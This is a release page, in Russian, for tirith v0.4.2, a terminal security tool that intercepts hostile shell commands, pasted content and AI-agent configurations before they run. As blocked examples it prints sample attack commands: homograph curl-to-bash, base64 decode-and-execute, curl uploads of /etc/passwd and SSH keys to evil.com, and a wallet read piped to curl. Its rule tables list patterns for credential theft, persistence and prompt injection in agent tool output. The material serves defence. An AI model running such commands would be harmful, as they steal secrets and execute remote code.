Назад к обновлениям
New releaseSep 12, 2026

tirith v0.4.2

Терминальная безопасность для разработчиков и агентов ИИ. Перехватывает гомографные URL, конвейер к оболочке, ANSI-инъекции, обфусцированные полезные нагрузки, утечку данных и вредоносные навыки/конфигурации ИИ до их выполнения.

Поделиться

tirith

Ваш браузер это поймал бы. Ваш терминал — нет.

tirith, terminal security

CI GitHub Stars License: AGPL-3.0

Website | Docs | SKILL.md | Changelog | Releases

Vercel OSS Program

Независимый проект с открытым исходным кодом, хостинг поддерживается Vercel Open Source Program (Spring 2026 Cohort).


Сможете заметить разницу?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised

Вы не можете. Ваш терминал тоже. Оба символа `і` — кириллические (U+0456), а не латинская `i`. Второй URL ведёт на сервер атакующего. Скрипт выполняется прежде, чем вы это заметите.

Браузеры решили эту проблему годы назад. Терминалы по-прежнему отображают Unicode, ANSI-escape-последовательности и невидимые символы без вопросов. AI-агенты выполняют shell-команды и устанавливают пакеты, не проверяя, что внутри.

**Tirith стоит на страже.** Он перехватывает команды, вставленное содержимое и сканируемые файлы на предмет гомографических URL, обфусцированных полезных нагрузок, кражи учётных данных, вредоносных AI-навыков/конфигураций и известных опасных пакетов/доменов/IP-адресов из подписанной базы данных угроз перед их выполнением.```bash
brew install tirith

Затем активируйте в профиле вашей оболочки:```bash

zsh

eval "$(tirith init --shell zsh)"

bash

eval "$(tirith init --shell bash)"

fish

tirith init --shell fish | source

> [!TIP]
> `eval "$(tirith init)"` автоматически определяет вашу текущую оболочку (он проверяет родительский процесс и при необходимости возвращается к `$SHELL`). Явный флаг `--shell` требуется только тогда, когда вы хотите переопределить определение.

На этом покрытие интерактивной оболочки завершено. Команды, принимаемые этой оболочкой,
проверяются, пока хук загружен и работоспособен; точное поведение блокировки зависит
от оболочки и режима. Запустите `tirith doctor` после установки и обновлений, и
прочитайте [enforcement by shell](#enforcement-by-shell), прежде чем рассматривать хук как
границу авторизации. Чистые команды остаются безмолвными и обычно идут по
быстрому пути.

Также доступно через [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) и [другое](#install).

---

## Посмотрите, как это работает

**Гомографическая атака, заблокированная до выполнения:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

Команда никогда не выполняется.

Pipe-to-shell с чистым URL, предупреждение, не заблокировано:``` $ curl -fsSL https://get.docker.com | sh

tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.

Предупреждение выводится в stderr. Команда всё равно выполняется.

**Цепочка декодирования и выполнения Base64, заблокирована:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

Перехватывает цепочки декодирования через обёртки sudo/env и PowerShell -EncodedCommand.

Эксфильтрация учётных данных, заблокировано:``` $ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server

Охватывает все флаги загрузки curl/wget, переменные окружения (`$AWS_SECRET_ACCESS_KEY`) и подстановку команд.

**Вредоносный файл навыка, обнаруженный при сканировании:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Сканирует файлы JS/Python на наличие обфусцированных полезных нагрузок, динамического выполнения кода и шаблонов эксфильтрации секретов.

Обычные команды, невидимые:``` $ git status $ ls -la $ docker compose up -d

Ничего. Нулевой вывод. Ты забываешь, что tirith запущен.

---

## Что он обнаруживает

**244 правила обнаружения в 35 категориях.**

| Категория | Что она останавливает |
|----------|--------------|
| **Атаки омоглифами** | Кириллические/греческие похожие символы в именах хостов, punycode-домены, метки со смешанными алфавитами, похожие TLD, конфузируемые домены, обнаружение конфузируемых символов на текстовом уровне (математические алфавитно-цифровые символы, смешанные алфавиты в одном слове) |
| **Инъекция в терминал** | ANSI escape-последовательности, bidi-переопределения, символы нулевой ширины, unicode-теги, невидимые математические операторы, селекторы вариаций, заполнители хангыль |
| **Защита от стеганографии** | Кодирование невидимыми пробельными символами (12 вариантов Unicode-пробелов), монгольский разделитель гласных, символы-заполнители хангыль, математическая алфавитно-цифровая подстановка, защита от текстовой стеганографии в стиле st3gg |
| **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, а также множество путей через обёртки, декодирование и перенаправления |
| **Декодирование и выполнение Base64** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, цепочки декодирования через обёртки sudo/env |
| **Эксфильтрация данных** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, загрузка переменных окружения (`$AWS_SECRET_ACCESS_KEY`), эксфильтрация через подстановку команд |
| **Сканирование файлов кода** | Обфусцированные полезные нагрузки (`eval(atob(...))`), динамическое выполнение кода (`exec(b64decode(...))`), эксфильтрация секретов через `fetch`/`requests.post` в файлах JS/Python |
| **Обнаружение учётных данных** | Ключи AWS, GitHub PAT, токены Stripe/Slack/SendGrid/Anthropic/GCP/npm, блоки приватных ключей, а также обобщённое обнаружение секретов на основе энтропии |
| **Поведение после компрометации** | Считывание памяти процессов (`/proc/*/mem`), удалённое повышение привилегий в Docker, обход файлов учётных данных, откалибровано по инструментам пост-компрометации TeamPCP и UNC1069 |
| **Безопасность команд** | Перезапись dotfile-файлов, распаковка архивов в чувствительные пути, доступ к эндпоинтам облачных метаданных, доступ к частной сети |
| **Небезопасный транспорт** | Обычный HTTP, передаваемый в shell, `curl -k`, отключённая проверка TLS, сокращённые URL, скрывающие назначение |
| **Окружение** | Перехват прокси, экспорт чувствительных переменных окружения, инъекция кода через env, перехват интерпретатора, инъекция в shell через env |
| **Безопасность конфигурационных файлов** | Инъекция в конфигурацию, подозрительные индикаторы, не-ASCII/невидимый unicode в конфигурациях, безопасность MCP-серверов (небезопасные/недоверенные/дублирующиеся/разрешительные) |
| **Угрозы экосистемы** | Тайпсквоттинг при git clone, недоверенные Docker-реестры, установка через URL pip/npm, эндпоинты web3 RPC, vet-not-configured |
| **Безопасность команд установки** | APT-репозитории, добавленные из скачанного через pipe файла, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (отключённые проверки подписи), `kubectl apply -f` против необработанных/сокращённых удалённых манифестов, Helm-чарты из недоверенных репозиториев, модули Terraform из недоверенных удалённых источников, `brew install`/`tap` из произвольных URL |
| **Анализ путей** | Не-ASCII пути, омоглифы в путях, двойное кодирование |
| **Отрисованный контент** | Скрытый контент через CSS/цвет, скрытые HTML-атрибуты, анализ содержимого комментариев (prompt injection на уровне High, деструктивные команды на уровне Medium) |
| **Обнаружение клоакинга** | Серверный клоакинг (бот против браузера), скрытый контент в буфере обмена, скрытый текст в PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, исключения Windows Defender (`Add-MpPreference -Exclusion*`), встроенное скачивание-выполнение `iex (iwr ...)` |
| **Защита вывода терминала** | Запись в буфер обмена через OSC 52, поддельные приглашения, манипуляции с гиперссылками OSC 8 и заголовком / очисткой экрана, prompt injection внутри вывода команд или MCP-инструментов (сканируется как в сыром, так и в деобфусцированном виде, поэтому невидимые символы, конфузируемые символы, разнесённые по буквам, leetspeak и короткие base64 / hex-обходы также обнаруживаются), а также эксфильтрация данных через вывод (beacon-URL или директивы «прочитай секрет и отправь его») |
| **Операционный контекст** | Деструктивные команды против помеченных как prod облачных / k8s контекстов и SSH-хостов, Terraform / Pulumi / OpenTofu `apply` без соответствующего сохранённого плана, рискованное повышение через sudo, привилегированный `docker run` |
| **Рабочая станция и персистентность** | Файлы учётных данных с нестрогими правами и токены в открытом виде (`~/.ssh`, `~/.aws`, `.npmrc`), точки закрепления персистентности (shell rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), порядок перехвата PATH, происхождение исполняемых файлов, рискованные алиасы и жизненный цикл чувствительных переменных окружения |
| **Радиус поражения и корреляция** | Удаления, выходящие за пределы репозитория, массовые удаления, выполнение файлов, скачанных из рискованных источников, и цепочки в рамках сессии, такие как запись секрета, а затем сеть, или удаление, а затем `git push --force` |
| **Доверие, аттестация и происхождение** | Несоответствие подписанной command-card, обращения к canary-ханипотам, несоответствие хоста-источника вставки, отказы политики по источнику вызова (агенту), дрейф MCP lockfile и дрейф AI-конфигурации относительно известного безопасного снимка |
| **Защита команд Web3** | Записи в блокчейн из команд Cast / Forge / Hardhat / Solana / Anchor (High, когда та же команда также отключает заявленный механизм безопасности), материал в виде raw private-key, keypair или мнемоники в командной строке, а также RPC-эндпоинт или подписант, которым политика `web3_guard` оператора не доверяет. Только грамматика и политика: состояние цепи не читается, транзакция не симулируется, адрес не оценивается |
| **Эксфильтрация кошелька** | Проверенный материал кошелька, keystore, браузерного кошелька и Solana-keypair, утекающий к доказанному удалённому стоку, включая промежуточные этапы архивации, base64, hex, сжатия и шифрования, а также продвижение операндов через `xargs` / `find -exec`. Чтение только из источника намеренно не считается находкой |
| **Отравление CI-артефактов** | Доступный из форка workflow, который загружает артефакт сборки, потребляемый привилегированным workflow `workflow_run`, привязанным к запустившему его запуску, который затем выполняет, подключает как источник, изменяет PATH, публикует или развёртывает его |

---

## От чего tirith НЕ защищает

Tirith анализирует **структуру** команд, вставленного текста и файлов до
их выполнения. Это предварительный шлюз, а не защита во время выполнения, и он не
покрывает:

- **Общую изоляцию во время выполнения:** обычные shell-хуки и `tirith check` предупреждают
  или блокируют; они не изолируют команду после запуска. Явные
  пути `capsule run --preset untrusted-project` и принудительный `pkg install`
  обеспечивают fail-closed сдерживание только на поддерживаемых хостах x86_64 Linux.
- **Сетевой мониторинг после выполнения:** то, что процесс делает в сети после
  запуска, вне области охвата.
- **Общее обнаружение вредоносного ПО / полезных нагрузок:** tirith не является антивирусом и
  не детонирует полезную нагрузку. Он анализирует структуру и может сопоставлять точные индикаторы
  и хеши артефактов/файлов из подписанной базы данных угроз, но неизвестная
  полезная нагрузка не доказывается как безопасная отсутствием совпадения. (`tirith run` проверяет
  структуру скачанного скрипта; это всё ещё не динамический анализ вредоносного ПО.)
- **Привилегированный root/admin-атакующий:** любой, кто уже root или admin, может обойти
  tirith тривиально. Он защищает от обманутого ввода, а не от атакующего, который уже
  владеет машиной.
- **Анти-отладка / анти-тамперинг:** tirith не сопротивляется обратной разработке
  и не защищает свой собственный бинарник от локального атакующего.
- **Анализ на цепи:** защита Web3 читает грамматику команд. Она не читает
  состояние цепи, не симулирует транзакцию, не разрешает ENS, не оценивает адрес, не аудирует
  контракт и не следит за mempool.
- **Межсетевой экран артефактов npm:** tirith разбирает грамматику команд npm и факты
  идентичности реестра и может запросить у собственного npm проекта его состояние подписи и
  происхождения. Он не скачивает, не извлекает, не помещает в карантин и не привязывает
  байты tarball, которые устанавливает npm. Содержимый межсетевой экран артефактов с закреплением по хешу
  предназначен только для Python.
- **Браузерная криминалистика или мониторинг:** `tirith browser audit` — это явный,
  одноразовый, read-only аудит целостности исходных деревьев расширений. Он никогда не читает
  cookies, историю, сохранённые пароли, хранилище, базы данных кошельков или `Local
  State`, никогда ничего не удаляет и не помещает в карантин и не имеет демона.
- **Воспроизводимые сборки:** квитанция `attest` фиксирует, что содержали два дерева
  в один момент. Tirith не запускает вашу сборку и не может утверждать, что вывод получен
  из исходников. Квитанция развёртывания — это измерение на момент времени, а не
  непрерывный мониторинг.

См. [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) для полной модели угроз и
явных нецелей, а также
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) для
реестра по возможностям того, что tirith обнаруживает, решает, применяет,
сдерживает и аттестует.

---

## Известные ограничения

- **Хрупкость shell-хуков:** защита зависит от того, что shell-хук остаётся установленным
  и активным. Хуки могут ломаться или молча деградировать в разных оболочках, версиях оболочек,
  фреймворках приглашения и инструментах истории. Запустите `tirith doctor`, чтобы проверить живое состояние
  и следить за деградацией до режима только предупреждений.
- **Полное или доступное только для чтения временное хранилище:** zsh и fish захватывают ввод через
  временный файл перед вызовом Tirith и отказывают fail-closed, когда этот файл не может быть
  создан. Поэтому полный/доступный только для чтения `TMPDIR` может отказать в каждой команде, и
  `TIRITH=0` не может восстановить ситуацию, потому что бинарник так и не достигается. Следуйте шагам
  восстановления в [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Функции, ограниченные платформой:** режим демона, `tirith run` и `tirith fetch`
  — это Unix-поверхности. `tirith run --no-exec` остаётся там рабочим процессом
  инспекции, но живое выполнение удалённых скриптов доступно только на Linux и отказывает до
  скачивания на любом другом хосте. `tirith setup` кроссплатформенный, тогда как каждая
  интеграция с хостом имеет свой собственный платформенный контракт (например, у Cline есть POSIX
  и Windows-обёртки; блокирующий хук OpenHands доступен только на Unix).
- **Охват извлечения имён пакетов:** покрывает языковые экосистемы (pip,
  npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), но не дистрибутивные
  менеджеры пакетов (`apt`, `dnf`, `yum`, `pacman`).
- **Оговорки по AI-агентам:** перехват через shell-хук защищает только команды, которые проходят
  через подключённую интерактивную оболочку. Агент, который порождает неинтерактивную
  оболочку, вызывает `exec` напрямую или работает без загруженного хука, не покрывается
  этим слоем. Регистрация MCP является кооперативной, если только вызовы не маршрутизируются
  через шлюз. Поддерживаемый pre-tool хук может автоматически удержать
  команду хоста, но только когда этот хост загрузил и соблюл его; несколько хостов
  отказывают fail-open, когда процесс хука завершается с ошибкой. Проверяйте эффективный хост, а не только
  наличие конфигурационного файла.
- **Поведение при сбое хост-хука:** Grok Build, Cline и OpenHands разрешают
  инструмент, когда их процесс хука падает или истекает по таймауту. Адаптер Tirith по умолчанию отказывает при
  своих собственных ошибках, но он не может заставить хост соблюдать процесс, который не
  вернулся. Перезапустите setup, если закреплённый интерпретатор переместился, и тестируйте реальный хост
  после каждого обновления.
- **Prime Agent IPython — это извлечение на уровне исходников:** защита покрывает shell-
  escape-последовательности/магии и распространённые формы `os`, `subprocess` и `pty.spawn`, но это
  не песочница среды выполнения Python. Обёртка, определённая в более ранней ячейке,
  рефлексия вроде `getattr`/`__import__` или сторонний пакет, который
  порождает процесс, могут выйти за пределы того, что может доказать лексер исходников.
- **Custom-DLP и машинный вывод:** широкие `dlp_custom_patterns` в настоящее время могут
  переписывать строковые значения, принадлежащие протоколу, в рекурсивно редактируемых JSON/MCP
  проекциях, включая сгенерированные идентификаторы или метаданные квитанций. Избегайте
  шаблонов, которые могут совпадать со структурными значениями, при потреблении подписанного или
  машинно-стабильного вывода; это требует редактирования с учётом полей до релиза.
- **Одобрение установки без присмотра:** `tirith install --yes` принимается как
  канал `require_approval` без присмотра для шлюза задачи менеджера пакетов. Это
  явный флаг оператора, а не доказательство подтверждения человеком через TTY. Используйте блокирующую
  политику задач там, где выполнение без присмотра должно быть невозможно.
- **Привязка интерпретируемого MCP:** точная привязка интерпретируемого сервера хеширует
  дерево репозитория при фиксированных ограничениях вместо обнаружения истинного замыкания зависимостей,
  поэтому большие деревья, симлинки или специальные файлы могут отказать в запуске. Она
  перепроверяет перед порождением, но не выполняет входные данные интерпретатора из запечатанных
  проверенных дескрипторов; конкурентное изменение тем же пользователем остаётся разрывом между проверкой и загрузкой.
- **Охват шлюза задач:** вывод эффектов задач моделирует грамматику оболочки Web3
  и ничего больше, поэтому почти каждая обычная команда SHELL сообщается как
  INCOMPLETE. `task_gate.mode: enforce` с `action_incomplete_analysis: block`
  отказывает им на пяти границах, которые отправляют конверт оболочки, и ничего не меняет
  на четырёх границах пакетов и записи конфигурации, которые всегда оцениваются как полные.
  `warn` — это значение по умолчанию. Альтернатива,
  `effects_denied_for_untrusted_sources`, запрещает названный эффект при каждом вызове
  на каждой принадлежащей границе, включая команды, которые вы набрали сами, потому что ни один
  источник на этих границах никогда не считается доверенным.
- **Сдерживание — это x86_64 Linux:** `tirith capsule run --preset
  untrusted-project` и принудительный `tirith pkg install` могут применяться только на
  x86_64 Linux с пригодным ABI Landlock. Любой другой хост отказывает до
  того, как что-либо скопировано или порождено, без деградированного запасного варианта. Разрешение
  по домену не предлагается ни одним бэкендом.
- **Разрыв эксфильтрации через вложенную оболочку:** чувствительное чтение внутри тела вложенной оболочки,
  сток которого находится вне её, например `bash -c "cat <wallet>" | curl -d @- <url>`,
  сегодня не коррелируется. Та же цепочка полностью внутри или полностью вне
  тела `-c` обнаруживается.
- **Оценки доказательств выполнения:** запуск на Linux подтверждается только после того, как его
  остановленный переход `exec`, обновление долговременного состояния, авторизованное возобновление и
  доказательство терминального лаунчера все завершены. Вызов шлюза подтверждается только
  точным коррелированным результатом. Наблюдения оболочки и пересланные вызовы шлюза, которые
  истекают по таймауту или отменяются, остаются консервативными неразрешёнными доказательствами, никогда не
  подтверждённым выполнением. Строгие квитанции оболочки доступны для интерактивных
  bash, zsh и fish; PowerShell остаётся только предварительной проверкой. Поведение нативного Linux-лаунчера
  должно быть проверено Linux CI или нативным Linux-хостом; ни переносимое
  покрытие исходников/модулей, ни сборка для macOS не могут это заменить.
- **Пробелы в охвате Web3:** `forge create` пока не смоделирован на поверхностях движка;
  несколько объявленных полей `web3_guard` разбираются, но не применяются; и
  привязки Web3 в command-card схемы 2 пока не имеют пути для авторства через CLI или
  потребления живым движком. Рассматривайте это как известные пробелы, а не молчаливую авторизацию.

---

## Разведка угроз

Tirith поставляет подписанную локальную базу данных угроз для репутации пакетов, имён хостов и IP. Когда shell-хук или `tirith check` видит установку пакета или ссылку на подозрительную инфраструктуру, он сопоставляет этот ввод с базой данных до выполнения команды, вместо того чтобы полагаться только на статические эвристики.

**Подписанная БД** (собирается CI, проверяется при скачивании и загрузке):

- Известные вредоносные пакеты из [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) и [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Вредоносная IP-инфраструктура из [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Подтверждённые тайпсквоты и базовые линии популярных пакетов из [ecosyste.ms](https://ecosyste.ms/)
- Каталог [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) для корреляции рекомендаций во время выполнения

ThreatDB v2 добавляет точные значения SHA-256 артефактов, хеши установленных файлов,
вредоносные URL, принадлежность к кампаниям и теги поведения. Подписанный индекс,
обновлятор, компилятор и загрузчик поддерживают v1 и v2 во время поэтапного перехода,
отклоняют откат последовательности, публикуют транзакционно и сохраняют подписанную
базу данных last-known-good, когда обновление неполное или недействительное. Источник
DigitalSide реализован, но намеренно неактивен, пока его
контракт по свежести и работе не будет одобрен.

**Опциональные дополнительные фиды** (пользовательский локальный оверлей):

- [URLhaus](https://urlhaus.abuse.ch/) и [ThreatFox](https://threatfox.abuse.ch/) через ключ авторизации abuse.ch
- Блок-листы [PhishTank](https://phishtank.org/) (Cisco Talos) и [Phishing Army](https://phishing.army/)
- Список выходных узлов Tor от [Tor Project](https://www.torproject.org/)

**Опциональное живое обогащение** во время `tirith check` и в режиме демона:

- Поиск рекомендаций [OSV.dev](https://osv.dev/) (Google OSS)
- Сигналы о состоянии пакетов [deps.dev](https://deps.dev/) (Google OSS) и данные о мейнтейнерах [ecosyste.ms](https://ecosyste.ms/)
- Репутация URL [Google Safe Browsing](https://safebrowsing.google.com/) с вашим собственным API-ключом```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

По умолчанию shell-хуки и tirith check запускают дешёвую фоновую проверку обновлений каждые 24 часа. Режим демона поддерживает тот же путь обогащения в фоновом режиме.

threat-db explain принимает домен, имя пакета (name, ecosystem:name или name@version) либо IPv4-адрес. Бинарный файл не хранит историю по отдельным записям, поэтому threat-db diff сообщает изменения категорий и количества по источникам между снимками, а не точные изменённые записи. Каждая команда threat-db принимает --format json; threatdb — это псевдоним.

Оценка риска пакетов

tirith package risk <ecosystem> <name> оценивает риск цепочки поставок / сопровождающего пакета так же, как tirith score оценивает URL, — детерминированная, полностью объяснимая сумма именованных факторов, без модели и без обученных весов. tirith package explain <ecosystem> <name> добавляет пофакторный вывод; обе команды принимают --format json.```bash tirith package risk npm react # 0/100, a known-popular package tirith package risk npm reqeusts # high, one edit from a popular name tirith package explain pypi flask # factor-by-factor derivation tirith package risk npm left-pad --path ./node_modules/left-pad tirith package risk --online npm react # also consult the registry API

**По умолчанию офлайн.** Без флагов каждый сигнал является локальным, без сетевых вызовов: (1) **имя против популярных пакетов**: известный-популярный, неизвестный или почти совпадающий с популярным именем с одним отличием (классическая форма тайпсквоттинга/слопсквоттинга), из набора `popular` локальной базы данных угроз; (2) **известный вредоносный тайпсквот**: точное совпадение в индексе `typosquat` базы данных угроз; (3) **скрипты установки / жизненного цикла** и (4) **встроенные бинарные блобы**, обнаруживаемые только когда содержимое пакета доступно локально (в `node_modules` / `site-packages` или через `--path`). tirith **никогда не скачивает** пакет.

**`--online` добавляет происхождение из реестра.** Он обращается к реестру пакета (npm, PyPI или crates.io) для шести дополнительных факторов в *той же* факторно-суммовой модели: возраст пакета/версии, устоявшийся пакет без владельцев, аномальный скачок версий, очень низкое число загрузок, отсутствующий репозиторий с исходным кодом и статус yanked/deprecated. Это единственный путь, на котором сам `package risk` выходит в сеть; `tirith check` и режим демона имеют отдельный, управляемый политикой путь обогащения во время выполнения. `--offline` / `TIRITH_OFFLINE` принудительно переводят этот оценщик в офлайн независимо от всего. При сбоях происходит возврат к офлайн-оценке с честным `api signals: unavailable`, а ответы кэшируются с TTL, чтобы повторные запуски не нагружали реестры.

Оценка носит рекомендательный и самостоятельный характер: `package risk` не является правилом обнаружения и не меняет вердикт, код выхода или журнал аудита.

### Сканирование экосистемы и риск зависимостей

`tirith ecosystem scan [path]` — это компаньон `package risk` на уровне каталога. Он обходит проект, обнаруживает каждый понятный ему манифест зависимостей — npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`) — и оценивает **каждую объявленную зависимость** с помощью того же детерминированного факторного движка `package_risk`.```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

Он включает обнаружение слопсквотинга. Слопсквотинг — это регистрация правдоподобного, но поддельного имени, которое LLM склонны галлюцинировать как зависимость. ecosystem scan помечает его только тогда, когда выполняются все три условия: имя не является известным реальным или популярным, оно имеет форму, характерную для галлюцинации ИИ (языковой префикс, такой как python- / node-, плюс описательные токены, набор общих слов-заполнителей, таких как helper / utils / client, или необычно длинное имя), и оно находится рядом с реальным популярным именем (почти совпадение с одним отличием или содержит популярное имя как слово). Требование всех трёх условий снижает число ложных срабатываний: честный data-utils без привязки к популярному имени не срабатывает.

По умолчанию офлайн, --online по желанию. Сигналы имён и тайпосквотинга берутся из локальной базы угроз; --online добавляет происхождение из реестра, ограничивается и деградирует точно так же, как package risk --online. Этот флаг управляет сканированием экосистемы и не изменяет независимую политику обогащения во время выполнения tirith check. Находки проходят через обычную модель Verdict / Finding tirith: объяснимые (tirith explain --rule threat_suspicious_package), записываемые в журнал аудита и соблюдающие allowlist политики (пакет из allowlist, по простому имени или ecosystem:name, подавляется). Коды выхода совпадают с tirith scan: 1 для блокирующей находки, 2 для рекомендательной, 0 при отсутствии проблем.

Это помогает выявлять известные вредоносные пакеты, подтверждённые тайпосквоты, имена пакетов со слопсквотингом, вредоносную инфраструктуру загрузки и пакеты с актуальными данными рекомендаций OSV / CISA KEV.

Инспекция Python-артефактов и принудительные установки

Риск по имени пакета — лишь один слой. Tirith может инспектировать точные Python-байты, которые у вас уже есть, и на поддерживаемых хостах обеспечивать выполнение плана установки с закреплёнными хешами:```bash

Local evidence: never downloads an artifact

tirith package inspect --artifact dist/example-1.0-py3-none-any.whl tirith package inspect --artifact-set ./downloaded-wheels tirith package inspect --installed ./.venv

Enforcing pip workflow: x86_64 Linux only

tirith pkg trust-tool /absolute/path/to/static-uv tirith pkg approve pip requests==2.31.0 --target .tirith-pkg tirith pkg install pip requests==2.31.0 --target .tirith-pkg tirith pkg verify-env --target .tirith-pkg requests

Проверка охватывает структуру и идентичность wheel, целостность RECORD и владение файлами, хуки запуска Python, нативные расширения ELF/Mach-O/PE, рёбра выполнения и разделения загрузчика/полезной нагрузки по дистрибутивам. `pkg graph`, `pkg diff`, `pkg attest` и `pkg receipt` предоставляют соответствующие доказательства происхождения и квитанции.

Принудительный путь поддерживает **pip только на x86_64 Linux** и требует задокументированный нативный авторитет, новый выделенный целевой каталог и зарегистрированный полностью статический нативный `uv`. Каждая неподдерживаемая платформа отказывает закрыто до запуска pip; она никогда не откатывается к обычной установке. npm и Cargo остаются не-принудительными поверхностями доказательств. См. [примечания к выпуску 0.4.0](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) и [справочник команд](https://github.com/sheeki03/tirith/blob/main/docs/commands.md).

**Семейства атак, для которых создан tirith** (иллюстративно, не утверждение о перехвате текущим кодом):

| Инцидент | Год | Форма атаки |
|---|---|---|
| [Червь Shai-Hulud npm](https://socket.dev/blog/shai-hulud-worm) | 2025 | Самораспространяющееся вредоносное ПО пакетов; похищены токены GitHub и ключи AWS из 180+ пакетов, результаты опубликованы в публичных репозиториях `Shai-Hulud` |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 — по настоящее время | Злоумышленники регистрируют галлюцинированные LLM имена пакетов на npm / PyPI / crates.io; [USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) обнаружил, что 58% галлюцинированных имён повторяются между запусками |
| Инструментарий Team PCP / UNC1069 | по настоящее время | Посткомпрометационные обходы учётных данных, сбор из `/proc/*/mem`, повышение привилегий Docker |
| [Саботаж colors.js / faker.js](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | Самосаботаж автора широко используемых пакетов |
| [Компрометация event-stream](https://github.com/dominictarr/event-stream/issues/116) | 2018 | Передача владения злоумышленнику; полезная нагрузка нацелена на биткойн-кошельки |

Извлечение имён пакетов в настоящее время охватывает языковые экосистемы (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), но не менеджеры пакетов уровня дистрибутива (`apt` / `dnf` / `yum` / `pacman`). Именно поэтому xz-utils, проникший через tarball дистрибутива Linux, не включён в таблицу, несмотря на то что это громкий инцидент.

---

## Безопасность AI-агентов

Tirith добавляет несколько независимых слоёв защиты вокруг AI-агентов программирования:
сканирование конфигураций, кооперативные инструменты MCP, шлюз MCP, хуки
интерактивной оболочки и нативные для хоста хуки pre-tool там, где хост
предоставляет задокументированный контракт блокировки. Покрытие зависит от того, какой слой
хост фактически загружает.

### Хуки оболочки, пассивный перехват команд

Когда AI-агент выполняет команды через оболочку с подключённым хуком (Claude Code,
Codex, Cursor и т. д.), хук оболочки tirith проверяет эту интерактивную команду до того,
как оболочка её примет. Это не покрывает неинтерактивную оболочку, прямой
`exec` или процесс агента, который никогда не загружал хук:

- **Блокирует опасные команды**: омографные URL, pipe-to-shell, небезопасные загрузки
- **Блокирует вредоносную вставку**: ANSI-инъекции, bidi-атаки, скрытые многострочные данные во вставленном содержимом
- **Независимый от агента интерактивный шлюз**: не требуется интеграция,
  специфичная для агента, когда этот агент фактически использует защищённую интерактивную оболочку
- **Нулевая модификация агента**: агент не знает о существовании tirith, пока команда не заблокирована

Используйте `tirith setup <tool>` для настройки одной командой (см. [Интеграции с AI-агентами](#ai-agent-integrations)).

### MCP-сервер (6 кроссплатформенных инструментов; 7 на Unix)

Запустите `tirith mcp-server` или используйте `tirith setup <tool> --with-mcp`, чтобы зарегистрировать tirith как MCP-сервер. AI-агенты могут вызывать эти инструменты перед выполнением действий:

| Инструмент | Что он делает |
|------|-------------|
| `tirith_check_command` | Анализирует команды оболочки на pipe-to-shell, омографные URL, инъекции окружения |
| `tirith_check_url` | Оценивает URL на атаки омографов, трюки punycode, сокращённые URL, необработанные IP |
| `tirith_check_paste` | Проверяет вставленное содержимое на ANSI-escape, bidi-управляющие символы, символы нулевой ширины |
| `tirith_scan_file` | Сканирует файл на скрытое содержимое, невидимый Unicode, отравление конфигурации |
| `tirith_scan_directory` | Рекурсивное сканирование с приоритизацией конфигурационных файлов AI |
| `tirith_verify_mcp_config` | Проверяет конфигурации MCP на небезопасные серверы, инъекции оболочки в аргументах, инструменты с подстановочными знаками |
| `tirith_fetch_cloaking` | Обнаруживает серверный клоакинг (разное содержимое для ботов и браузеров) |

По умолчанию `tools/list` — это замороженный контракт совместимости, потому что клиенты
кэшируют его, и инструмент, появившийся без объявления, меняет представление агента о том,
что он может вызывать. Поэтому предварительный инструмент `tirith_check_task` **не
